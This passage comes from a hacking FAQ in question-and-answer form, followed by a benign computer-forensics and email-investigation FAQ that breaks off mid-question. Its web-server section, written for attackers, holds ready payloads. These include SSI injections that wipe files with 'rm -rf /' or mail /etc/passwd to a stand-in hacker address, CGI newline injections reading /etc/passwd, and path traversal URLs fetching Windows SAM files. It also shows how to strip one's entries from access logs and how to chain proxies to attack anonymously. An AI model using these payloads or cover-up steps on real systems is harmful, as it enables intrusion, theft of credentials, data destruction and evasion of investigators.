On most systems, the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are

covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.

To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

Q.14. Why protect the hashes?

Ans : If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

Q.15. What is a dictionary password cracker?

Ans : A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.

If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

Q.16. What is a brute force password cracker?

Ans : A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

Q.17. Which method is best for cracking?

Ans :It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.

If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary

attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

Q.18. What is a salt?

Ans To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.

Historical.y, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break *all* of the passwords, although it is certainly no guarantee that the passwords can't be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

Q.19. What is Denial of Service?

Ans : A denial of service (DoS) attack is an incident in which a user or organization is deprived of the services of a resource they would normally expect to have. In a distributed denial-of-service, large

numbers of compromised systems (sometimes called a botnet) attack a single target.

Although a DoS attack does not usually result in the theft of information or other security loss, it can cost the target person or company a great deal of time and money. Typically, the loss of service is the inability of a particular network service, such as e-mail, to be available or the temporary loss of all network connectivity and services. A denial of service attack can also destroy programming and files in affected computer systems. In some cases, DoS attacks have forced Web sites accessed by millions of people to temporarily cease operation.

Q.20. What are some DoS scenarios?

Ans : Reasons that a hacker might want to resort to DoS might include the following:

- A trojan has been installed, but a reboot is required to activate it.
- A hacker wishes to cover their tracks *very dramatically*, or cover CPU activity with a random crash to make the site think it was just a fluke.
- The hacker is acting out of the need (or delusion) that the DoS serves a greater good, such as a DoS attack on Pro Life sites by Pro Choice believers.
- The hacker isn't a hacker at all, but a pissed off lamer who has a poor outlook and too much free time.

Reasons that a sysadmin might use DoS:

- A sysadmin may want to ensure that their site is *not* vulnerable by testing out the latest patch.
- A sysadmin has a runaway process on a server causing problems and cannot physically access the box (Simple Nomad has officially done this twice now).
- The sysadmin isn't a sysadmin at all, but a pissed off lamer who has a poor outlook and too much free time.

Q.21. What is the Ping of Death?

Ans : The Ping of Death is a large ICMP packet. The target receives the ping in fragments and starts reassembling the packet. However, due to the size of the packet once it is reassembled, it is too big for the buffer and overflows it. This causes unpredictable results, such as reboots or system hangs.

Windows NT is capable of sending such a packet. By simply typing in "ping -165527 -s 1 target" you can send such a ping. There are also source code examples available for Unix platforms that allow large ping packets to be constructed. These sources are freely available.

Most systems have patches available to prevent the Ping of Death from working. However, it is still included here for historical reasons, as the Ping of Death helped get the whole DoS craze really going, since it was so easy to perform.

Q22. What is a SYN Flood attack?

Ans : In the TCP/IP protocol, a three-way handshake takes place as a connection to a service is established. First, in a SYN packet from the client, to which the service responds with a SYNACK. Finally, the client responds to the SYNACK and the connection is considered established.

A SYN Flood attack is when the client does not responds to the service's SYNACK and continues to send SYN packets, tying up the service until the handshake times out. The source address of the client is forged to a non-existent host, and as long as the SYN packets are sent faster than the timeout rate of the service host's TCP stack, the service will be unable to establish new connections..

This is only a simplified version of what happens, though. For more elaborate details and sample Linux code for creating a flood, read Project Neptune.

Q.23. What are other popular DoS attacks?

Ans : Most others involve ICMP packets (such as used in 'ping') to create massive floods of traffic, or other packet malformations. Search for

winnuke, smurf, or teardrop for more details, or visit one of the many sites dedicated to providing such tools, such as Packetstorm.

Q.24. What are distributed DoS attacks?

Ans : Distributed DoS attacks are an interesting phenomena. The premise goes like this:

- Attacker compromises 500 computers
- Attacker installs special software to listen for commands and send massive loads of packets
- Attacker uses special client software to send commands to 500 computers to direct them to flood a victim network

Q.25. How can I discover new DoS attacks?

Ans : New DoS attacks are fairly easy to discover. Flooding any service or system with malformed or excessive packets and observing the behavior will tell you if you've discovered something interesting. It is advised that you test this kind of thing against home systems or cooperating friends until you've perfected your techniques. Often, it is easy to trace the source of such attacks, especially if you launch then from your home system without IP forgery, and since DoS is illegal against systems you don't have permission to attack, and may violate your ISP's acceptable use policy, you might want to be careful.

Q.26. How does one defend against DoS attacks?

Ans : Oh, you want an answer? Well, it often isn't easy to defend against DoS attacks, but there are a few things you can do. For defending against your Ping of Death style of attacks (malformed packets that crash a service or the system itself), the best line of defense is to keep your systems patched up, and to put a firewall between yourself and the Internet that is patched up. This really is the best method.

As far as bandwidth stealing attacks, such as floods, there is not a lot you can do. Packetstorm ran a contest that posed the question as far

as distributed attacks go, and several of the concepts in numerous papers can be applied across the board to any DoS attack.

Q.27. What is unsafe about my browser?

Ans : There are two main areas regarding security around a browser -- reading your private files and manipulating you into a compromising situation.

Just a few files can provide a *lot* of information about yourself. These include cache files, the history file, and your bookmarks. Usually, if you are a typical home user, this is not a problem. But if your browser directory is stored on a server, the server could be compromised and then anything in the cache and history is in the hands of someone else. Every access and submitted form, including those to change passwords on servers whose service you are paying for.

Being manipulated is the other hot area. You can be tricked into supplying user IDs and passwords, revealing personal information like Social Security and credit card information, or even be presented with misinformation to cause you to act in a way to cause a vulnerability to arise. If your browser supports HTML extensions and/or Java, your history file, cache, and other files could be plucked from your hard drive. Your machine could be used as a mechanism to attack other resources behind your firewall, sending critical information to an offsite hacker. And while vulnerabilities in most mainstream browsers are constantly patched to prevent this type of behavior, certain hackers are constantly finding new holes.

Q.28. What other browser files are important?

Ans : The cookie file (typically named 'cookie.txt') is a file used to store persistent information about your browser and Web server connection. Since HTTP requests are "connectionless" - one connection for every request - the cookie file is used to track information about the whole session with a server. This way a server can track information about you during your visit, by giving you a cookie. The cookie might typically track info such as which page you've been to or

how you answered a question on a previous form. And due to the connectionless protocol, it keeps the cookie on the client.

This might not seem like a problem, but since Javascript can write information to the cookie file before it is sent to the server, limited information can be gathered about a user - typically, the email address. So, occasionally, the cookie.txt file will contain interesting information, usually not.

Here's an example of how the cookie file couid be used here:

A user loads a page. It checks for its cookie in the cookie.txt file. If the cookie is there, the state the user left the page in last visit is restored (and we can jump to the last step). If no cookie is present, it is assumed the cookie is expired or it's the user's first visit. A default page is built for the user. The user clicks and selects stuff on the page. The user leaves the page. The cookie is updated with the changes made to the page.

The other important file is that pull-down menu in Netscape that showed the last 10 or so sites you've visited. This is typically located in the netscape.ini file in the [URL History] section. A clever Java applet could grab this information and ship it offsite, or if you've compromised a server where everyone has their config files in user directories, you can get to this information.

A couple of other directories that contain interesting files are the MAIL and NEWS subdirectories for Netscape. The MAIL directory will, of course, contain not only your inbox if you're using Netscape as your email application, but log every email sent out from your browser whether you are using Netscape for email or not. The file is typically called Sent, and is turned on for logging by default.

It is interesting to note that, while it is trivial to send fake email via Netscape (simply make the changes to the return address and send), the outgoing message is stored in the MAIL directory by default in most browsers. While fake email is still pretty easy to track down, having a

copy of the message on your machine that you don't know about can be pretty damning evidence.

Q.29. How can I protect my browser files?

Well, you could disable cache (or set its size to zero) but that would certainly hurt performance. Usually flushing your cache at the end of a session or before visiting a site that's unknown would be good. Setting your history file preference to zero or wiping the file at the end of the session is also okay.

Don't put stupid stuff in your bookmark file ;-)

You can edit your cookie.txt file, removing any cookies and then using your local operating system make the cookie.txt file read only.

Disable the logging of outgoing email messages, unless you don't have a problem with anyone reading them.

A site can learn a lot about you, even without Netscape or Java. Take a look at Anonymizer Privacy Analysis. With extra logging options, a site can log your OS, browser, e-mail address, hostname, and last site visited. This isn't using JavaScript, either. Some companies use this info to build mailing lists, and track all of this info. To prevent this, you could use Anonymizer's site as a "proxy" to surf anonymously. Instructions are at the anonymizer site, and it currently offers limited free service.

Q.30. What's the "test" hack?

Ans : There is a test CGI script included with most servers that can be used to make sure environment variables and other information is being passed to the server properly during queries. This example file is called, appropriately, "test-cgi" on most systems. Here's how it works:

http://example.com/cgi-bin/test-cgi?\whatever

The response will be something like...

CGI/1.0 test script report:

```
argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = example.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
```

Once again, the 0a character can be used to try to get this file to do other things, or you could simply try an asterisk:

http://example.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

These might get you a list of files in /cgi-bin:

- http://example.com/cgi-bin/test-cgi?*
- http://example.com/cgi-bin/test-cgi?x*
- http://example.com/cgi-bin/nph-test-cgi?*
- http://example.com/cgi-bin/nph-test-cgi?x*

Q. 31. What's the deal with Server-Side Includes?

Ans : A Server-Side Include (SSI) is a way to imbed special operations and commands into an HTML document. The potential for abuse is there when they are combined with CGI and the modification of HTML.

The biggest example is the guestbook. Typically, the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple: Hacker fills out guestbook form and includes an SSI. Via CGI, the form is appended to the guestbook which is typically just an HTML document. Next person that views the guestbook activates the SSI. So what is bad? Consider these SSIs:

- <!--#exec cmd="rm -rf /"-->
- <!--#exec cmd="mail hacker@example.com <mailto:hacker@example.com> < cat /etc/passwd"-->
- <!--#exec cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"-->
- <!--#exec cmd="~ftp/incoming/uploaded_hack_script"-->
- <!--#exec cmd="find / -name foobar -print"-->

The first one erases everything that the id that httpd is running under owns. This is a little psycho, but should give you an idea on how serious this is (hope you're not running that httpd as root!). The next two give you a couple of more ideas to run with. And the last one, pasted into the document a couple hundred times will grind a server to a halt the next time that guestbook is accessed.

Q.32. What if SSIs are turned on but includes are stripped from user input?

If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI, but if an anon FTP "/incoming" directory is in place and you can view an uploaded file via your browser, you could include the SSI stuff into an

HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server could do the same things.

Q.33. What is SSL ?

Ans : SSL (Secure Socket Layer) is a encryption and user authentication standard for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt: symmetric (the same key is used for encoding and decoding) and asymmetric (one key is used for encoding and another for decoding). In the latter, there are a pair of keys that work together, one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.

For this to work in a web environment, you need the scheme built into the browser and the server. SSL uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)

Q.34. How can I attack anonymously?

Ans : There are a couple of ways to do this. First off, you could use a proxy. In the log files, the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.

It is possible, even desirable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.

Of course, since you don't need a browser to hack ('telnet targetaddress 80' will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "|mail hacker@remailer.example.com" to the end of each attempt so you can see the results.

Q.35. What is the asp dot attack?

Ans : Well, it's hardly an attack, but worth mentioning. Microsoft's Active Server Pages are dynamic pages, and are often used to do things such as control access to other pages or systems. Obviously, accessing the page's source would give the browsing party this info, which is usually not the intent of the author. Instead of accessing like so...

http://www.example.com/secret/files/default.asp

... add a dot on the end...

http://www.example.com/secret/files/default.asp.

...and this may yield the source code of the NT server's html page.

Q.36. What is the campas attack?

The campas attack refers to an old NCSA script called campas.sh which accepted newlines. For example:

http://www.example.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a

This is old (version 1.2) and typically not found on most systems.

Q.37. What are the MetaInfo attacks?

Ans : MetaInfo puts out a couple of NT products, such as MetaIP and a port of the Unix Sendmail program. These can be remotely managed by a web browser at port 5000 (the default). These can be exploited.

For the MetaInfo Sendmail:

http://www.example.com:5000/../../winnt/repair/sam - Gets the SAM

http://www.example.com:5000/../smusers.txt - Gets the POP3 password file

For MetaIP (note 3 nested levels back to c:\ instead of 2):

http://www.example.com:5000/../../../winnt/repair/sam - Gets the SAM

You can also execute arbitrary commands (this assumes Sendmail):

http://www.example.com:5000/../../winnt/system32/net.exe?use%20 etc etc

Q.38. What are the big weak spots on servers?

Ans : The big weak spots are as follows:

- Server running HTTPD as root. This means that anytime a user attaches to the web server they are running as root. Very powerful if there are any holes at all. This means that if your browser can find a way in, you can gain access to anything on the system.
- Improper checking and buffering of user data by CGI scripts. Either a buffer can be overrun or arbitrary commands can be sent to the server.
- Improper configuration of the server itself or the web server, allowing for access to files not intended for the general public. This could include log files, the htpasswd file, and web server configuration files. But the main problem is a CGI interpreter (perl.exe on an NT web server leaps to mind) that allows a browser to execute server commands, launch shells, rename or append files, etc.

Q.39. What are the critical files?

Ans : They are as follows(the names may vary depending on the httpd server you're running):

httpd.conf

Contains all of the info to configure the httpd service.

srm.conf

Contains the info as to where scripts and documents reside.

access.conf

Defines the service features for all browsers.

.htaccess

Limits access on a directory-by-directory basis.

Q.40. How does the server resolve paths?

Ans : Typically, a server will resolve paths by having a point in the configuration files that says something like "turn ~ into public_html", which means that ~thegnome will resolve to /server/path/to/documents + public_html. Therefore, if your server's path to docs is /usr/local/etc/httpd/htdocs with a sub directory under that of public_html with all of the users' directories under THAT, http://www.example.com/pub/public_html/thegnome becomes http://www.example.com/~thegnome and accesses the same file.

The problem with resolves is that some sites (depending on software, revisions, os, patches, etc) will resolve based off of the /etc/passwd listing of the home directory. This is good for intrusion, bad for security. As stated earlier in the FAQ, accessing http://www.example.com/~bin/etc/ can yield interesting results. In practical experience, we've seen this more often on BSD derivatives with Apache than anything else.

Q.41. What log files are used by the server?

Ans : This entirely depends on the server software and how it is configured. It is usually in a subdirectory called "logs" in a different section of the tree than the regular web pages. It is usually named "access_log" for Apache or NCSA, or "access" for Netscape, or some other easily self-identifying name. This log will contain entries like so:

thegnome.example.com - - [14/Dec/1996:00:13:31 -0600] "GET /nomad/ HTTP/1.0" 200 293

thegnome.example.com - - [14/Dec/1996:00:13:35 -0600] "GET /nomad/2.html HTTP/1.0" 200 303

thegnome.example.com - - [14/Dec/1996:00:13:39 -0600] "GET /nomad/3.html HTTP/1.0" 200 333
thegnome.example.com - - [14/Dec/1996:00:13:43 -0600] "GET /nomad/4.html HTTP/1.0" 200 359
thegnome.example.com - - [14/Dec/1996:00:13:47 -0600] "GET /nomad/5.html HTTP/1.0" 200 385
thegnome.example.com - - [14/Dec/1996:00:13:51 -0600] "GET /nomad/6.html HTTP/1.0" 200 434
thegnome.example.com - - [14/Dec/1996:00:13:55 -0600] "GET /nomad/nomad.html HTTP/1.0" 200 1988
thegnome.example.com - - [14/Dec/1996:00:14:02 -0600] "GET /nomad/unix/index.html HTTP/1.0" 200 5066
thegnome.example.com - - [14/Dec/1996:00:14:28 -0600] "GET /nomad/unix/cvnmount.exploit HTTP/1.0" 200 3117

Obviously, if your phf accesses are in there, it could be incriminating. If you gain access, you might want to eliminate yourself from them.

1. mv access_log access_tmp
2. cat access_tmp | grep -v thegnome.fastlane.net > access_log
3. rm access_tmp

The same with the error log. Called error_log or error, it's entries look like so:

[Thu Dec 19 22:10:02 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/netware.htm failed for dyn2121a.dialin.example.com, reason: File does not exist
[Thu Dec 19 22:10:21 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/_free.html_ failed for dyn2121a.dialin.example.com, reason: File does not exist
[Thu Dec 19 23:29:35 1996] access to /usr/local/etc/httpd/htdocs/nomad/HTTP failed for niobe.example.com, reason: File does not exist
[Thu Dec 19 23:48:19 1996] send script output lost connection to client ip189.raleigh3.nc.example.com

[Thu Dec 19 23:48:25 1996] send script output lost connection to client 10.0.1.1
[Fri Dec 20 09:19:13 1996] accept: Connection reset by peer
[Fri Dec 20 09:19:13 1996] - socket error: accept failed
[Fri Dec 20 10:35:41 1996] accept: Connection reset by peer
[Fri Dec 20 10:35:41 1996] - socket error: accept failed
[Fri Dec 20 10:39:55 1996] access to /usr/local/etc/httpd/htdocs/nomad/unix/Xtx86.c failed for 192.168.1.1, reason: File does not exist

Q.42. How do access restrictions work?

This is going to vary from platform to platform, but we're going to use NCSA as an example. We're not going into a lot of detail, the point is that service can be limited, and to give a flavor of how easy it is for an admin to set up.

Restricting Access by Host Name:

In NCSA this is in access.conf, and you can specify the following:

allow
    host names allowed
AllowOveride
    determines whether per-directory access overrides global access restrictions
deny
    host names denied

There are more options depending on OS, server software, etc., and you can get pretty detailed. But most server software allows access restriction by host names.

Restricting Access by Directory:

This is usually accomplished by specifying a realpath/to/directory tag with the restrictions following, and then closing with an ending tag of ,

all within the access.conf file. For example, let's say the admin wants to limit a directory to company employees only on an NCSA server:

```
<Limit GET>
        order deny,allow
        deny from all
        allow from mydomain.org
```

Include those lines in a .htaccess file in the directory you wish to limit and bingo, you're limiting access.

Q.43. How do password restrictions work?

This typically involves the admin performing the following functions:

Building each user id/password as needed. Updating the main configuration files to recognize that passwords are being used. Updating any .htaccess files in individual directories.

The command line syntax for creating a user ID and password (on NCSA) is:

```
htpasswd [-c] .htpasswdUserName
```

UserName is the name of the user file you wish to create or edit. The -c option specifies a new file be created, not the old one edited. If you are creating a new UserName file, and htpasswd doesn't find a duplicate name, you will be prompted for the password. If it finds a duplicate name, it will prompt you to type it in twice. These passwords do not correspond to system passwords, so if you are an idiot wannabe hacker and you just got into a server with a shell, don't expect to create a root account with htpasswd and then su to it.

In NSCA, you will find the following in the access.conf file indicating passwords are in use:

```
<Directory /usr/stuff/WWW/docs>
        AllowOverride None
        Options Indexes
        AuthName secretPassword
        AuthType Basic
```

```
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/NULL
<Limit GET>
        require user UserName
```

For a directory-level usage, this might be in the .htaccess file:

```
AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/.group1
<Limit GET>
        require user UserName
```

Once again, we're not going to go into a lot of detail here. You need to read the documentation for the server you're attacking (i.e. do your homework) and THEN start changing or updating files. For example, .htaccess is the name of the file for NCSA and its derivatives.

One of the good things for intruders is that if an admin is using per-directory restrictions you can often retrieve these files just like a regular URL. For example, if the target is restricting access to the /usr/local/etc/httpd/docs/secure directory using a .htaccess file to control access, this URL might retrieve it (depending on server software):

http://www.example.com/secure/.htaccess

Besides containing important info, it will give you the location of the web passwd file.

Q.44. What is web spoofing?

Summed up, web spoofing is a man-in-the-middle attack that makes the user think they have a secured session with one specific web server, when in fact they have a secured session with an attacker's server. At that point, the attacker could persuade the user to supply credit card or other personal info, passwords, etc. You get the idea.

Here's how it works in a nut shell:

- The attacker has compromised XYZ Company's web site, using DNS spoofing, or some other means such as being listed in a search engine to provide an intercept to XYZ.

- The user wants to visit XYZ Company's web site and clicks on a link.
- The attacker has built their own SSL certificate and the domain in this certificate looks to the user's browser as authentic.
- The user gets the solid key and now assumes all is safe and will be encrypted and secure.
- The attacker's forms on this trojan site may include fields for passwords, credit cards, bank accounts, etc. and the unknowing user provides this info to the attacker as they use the forms.

What is the problem here? It is not SSL. It is the certificates. You see, as long as you have what looks to be the proper info in the certificate, the user will never know the difference. Sure, the URL might not look right, but you can use Java to control that.

Of course, only an idiot would redirect a user to a server in their home or office, you would of course redirect them to a server you have compromised. And you would use the compromised server's certificate to get that solid key. That's the trick -- make the key solid, and the user is fooled.

***

Computer Forensics

Q.1. What is Computer Forensics?

Ans : Computer forensics, also known as digital forensics, is the practice of identifying, collecting, preserving and analyzing legal evidence from digital media such as computer hard disk drives. Since digital evidence is both fragile and volatile, it requires the attention of a certified specialist to ensure that materials of evidentiary value are effectively isolated and extracted in a scientific manner to withstand the scrutiny of the legal system. The goal of computer forensics is to explain the current state of a digital artifact. These can include a computer system, storage medium (such as a hard disk or CD-ROM), an electronic document (e.g. an email message or JPEG image) or even a sequence of packets moving over a computer network.

Q.2. What is the objective of this?

Ans : Usually to provide digital evidence of a specific or general activity.

Q.3. To what ends?

Ans : A forensic investigation can be initiated for a variety of reasons. The most high profile are usually with respect to criminal investigation, or civil litigation, but digital forensic techniques can be of value in a wide variety of situations, including perhaps, simply re-tracking steps taken when data has been lost.

Q.4. What are the common scenarios?

Ans : Wide and varied! Examples include:

- Employee internet abuse (common, but decreasing)
- Unauthorized disclosure of corporate information and data (accidental and intentional)
- Industrial espionage
- Damage assessment (following an incident)
- Criminal fraud and deception cases
- More general criminal cases (many criminals simply store information on computers, intentionally or unwittingly)

- and countless others!

Q.5. How is a computer forensic investigation approached?

Ans : It's a detailed science. However, very broadly, the main phases are sometimes considered to be: secure the subject system (from tampering during the operation); take a copy of hard drive (if applicable); identify and recovery all files (including those deleted); access/copy hidden, protected and temporary files; study 'special' areas on the drive (eg: residue from previously deleted files); investigate data/settings from installed applications/programs; assess the system as a whole, including its structure; consider general factors relating to the users activity; create detailed report. Throughout the investigation, it is important to stress that a full audit log of your activities should be maintained.

Q.6. Is there anything that should NOT be done during an investigation?

Ans : Definitely. However, these tend to be related to the nature of the computer system being investigated. Typically though, it is important to avoid changing date/time stamps (of files for example) or changing data itself. The same applies to the overwriting of unallocated space (which can happen on re-boot for example). 'Study don't change' is a useful catch-phrase.

Q.7. I am interested in a career in this field. Where do I start?

Ans : This is a common question, with many answers. Perhaps a good starting point however is to read the specific section of our Forum: "Digital Forensics: Getting Started". This includes hundreds of posts on this issue.

Q.8. What is the process of a typical digital forensic ("e-forensic") examination?

- Assessment: Identify the scope of your case and specific tasks required, including all legal matters involved.

- Acquisition: This is where the physical examination begins and involves the duplication of all data from all necessary hardware.
- Examination: In this phase the duplicated data is examined using industry standard procedures, with the most advanced tools in the business, and by some of the most experienced examiners you will find.

Q.9. What is the difference between digital forensics and electronic discovery ("e-Discovery")?

- Digital Forensics is commonly referred to as an "autopsy" of a storage device (hard drive, cell phone memory, network and backup storage device etc...) where processes are followed that comply with the legal standards of any type of investigation that produces data required for evidence in a court of law. Furthermore, the scope of a digital forensic examination is different in that it digs deeper into the data to produce things like deleted files, encrypted files, metadata, slack space, file change or deletion information, user activity and more.
- Electronic Discovery on the other hand, in its simplest form, is only the process of data gathering. On one level, we all perform e-discovery every time we search for an old email somebody sent us a month ago. At a larger level, electronic discovery can be the process of keyword searching unformatted and archived files from backup media for the purpose of finding all emails, images and documents pertaining to a particular subject.

Q.10. What all devices can you examine?

An e-forensic examination can be done on anything that produces and stores digital data. This includes, but is not limited to: cell phones, computers, digital cameras, hard drives, portable memory sticks (flash drives), iPods and other media devices, VOIP systems, servers, network appliances (routers, switches) and wireless devices.

Q.11. Can real time forensic analysis of computer data (a.k.a. "Live Forensics") be uncovered?

Ans : 'Live' data forensics is the next wave in computer forensics. This service lies in the realm of data services, as it is not looking for past events but rather for the collection, storage, monitoring and management of live data on a computer or network.

Q.12. Why do I need a forensic examiner as opposed to our I.T. person?

Ans : There are three distinct elements that make a "complete and professional" Digital Forensics Technician: Investigation experience, knowledge of digital forensics procedures, and technical aptitude of the items being examined.

Where an I.T. person may have exemplary technical aptitude of the device being examined, more than not they will inadvertently destroy critical evidence if they don't also possess knowledge of digital forensics. Just as well, a technician who is armed only with digital forensics certifications will damage company productivity and create network down-time as their interests are only in producing data.

Knowledge of digital forensics and technical aptitude are essential skills - *but only with the combined skills of an experienced Law Enforcement Investigator do you have a complete Digital Forensics Technician, and thereby a complete Digital Forensics Investigation.* The experienced investigator knows what questions need to be asked, what legal guidelines will affect the examination, and can support results of an examination in court by both the technical and legal standards in the industry.

Q.13. What makes a procedure "Forensic"?

Ans : An examination of digital media is "Forensic" in nature when it follows protocols and a chain of custody which allows produced data to be admissible as evidence in a court of law. This is what separates digital forensics from other forms of audits or inspections conducted by I.T. personnel who do not specialize in this type of examination, nor

have the experience of a law enforcement investigator to know what data to search for.

A 'complete' and 'Forensic' examination will be conducted by a technician who possesses the specialized skills of eDiscovery and Digital Forensics required for this type of task, as well as have a solid background in investigations that only an experienced law enforcement officer can obtain. A technician with these qualifications can ensure that the right data ('complete') is prepared using the right procedures ('Forensic').

Q.14. How long will a typical examination take?

Ans : This of course depends on the size and scope of the project.

The examination portion itself for a standard hard drive, for example, can be accomplished usually within a 24 hour period. Exceptions and other factors that will affect the project completion time are as follows:

- Amount of memory (RAM or ROM) on the device;
- Number of devices being examined;
- The variance in types of devices that need examined when multiple devices fall within the scope of the case;
- Passwords, Encryption and other data security hurdles that must be overcome;
- Extenuating circumstances - i.e., delays in evidence shipment or travel delays when on-site examinations are required;

Q.15. When should I consider using a computer forensic examiner?

Ans : As soon as possible. It is emphasized that time is critical for an digital investigation. The longer a computer or digital device is used or awaits inspection, the higher the probability that the digital evidence will be tainted. Even for computers in storage awaiting discovery for trial, the sooner a computer forensic examiner can preserve the valuable data, the greater the chance of recovering important and relevant evidence.

Q.16. Why is it important for a computer to be forensically examined?

Ans : Computer forensic examinations blend science and art. It takes a highly trained professional to extract, preserve and analyze information stored on computers and digital devices and careful thought to analyze the findings. If evidence is not handled and stored properly or not properly reported you run the risk of it not being admitted in a court of law. Forensic is defined as: belonging to, used in, or suitable in a court of law.

Q.17. Can deleted files be recovered?

Ans : Each situation is unique, but it is often possible to recover deleted files with a computer forensic investigation. Most operating systems do not erase the actual data; they erase a pointer to the file so that the file does not appear in the folders or directories. These files can be recovered by a process of undeleting the file by restoring the directory entry. In other cases, if the directory entry is not available then a file can be recovered by using a powerful process called file carving to obtain fragments of files when directory entries are corrupt or missing.

Q.18. Can password protected files be accessed?

Ans : A computer forensic examiner has a powerful toolkit to unlock certain types of password protected files. Depending on the type of file and the speed of the computer, some programs can try hundreds of thousands of passwords per second. However, longer and more complex passwords are more of a challenge to crack.

***

Email Investigations

Q.1. Can I recover deleted emails?

Ans : Deleted emails can be recovered depending on the type of email client (Outlook, Entourage. Thunderbird, etc.) and how the server (Exchange, Lotus Notes) is configured. When emails are deleted from your Inbox there is still a chance that they reside on the server or in other areas of a computer. Computer forensic tools and methods allow for the data extraction and examination of email storage including information that had been previously deleted.

Q.2. Can deleted calendar and contact information be retrieved?

Ans : Many modern contact managers (such as Outlook) allow users to maintain contacts, notes and calendars in a single application. These dynamic programs are essentially databases so information in the program can be retrieved by the same computer forensic methods that are used to recover email.

Q.3. If someone uses a webmail account such as Gmail, Yahoo or Hotmail, is it possible to access that correspondence?

Ans : Web-based email programs such as these do offer the ability to recover information even when the computer is not on the Internet. Web browsers (Internet Explorer, Firefox, Chrome, Safari, etc.) store temporary internet files on the computer that can later be retrieved by computer forensics.

Q.4.How can email help or hurt my case?

